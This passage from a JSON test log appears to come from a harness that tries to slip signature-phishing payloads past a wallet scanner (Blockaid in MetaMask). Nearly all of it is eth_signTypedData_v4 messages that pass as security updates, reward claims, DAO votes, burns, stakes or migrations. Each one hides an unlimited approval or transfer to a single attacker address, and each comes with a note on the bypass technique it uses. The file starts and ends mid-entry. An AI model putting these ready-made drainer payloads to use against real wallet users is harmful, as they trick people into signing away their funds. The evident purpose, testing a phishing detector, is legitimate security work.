"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:50:18.360Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:50:27.909Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:50:37.446Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:50:47.009Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:50:56.550Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:51:06.098Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:51:15.645Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:51:25.199Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:51:34.754Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:51:44.320Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:51:53.873Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:52:03.409Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:52:12.974Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:52:22.524Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:52:32.074Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:52:41.626Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:52:51.172Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:53:00.717Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN36-EIP3009-022", "timestamp": "2026-01-31T17:53:10.275Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD 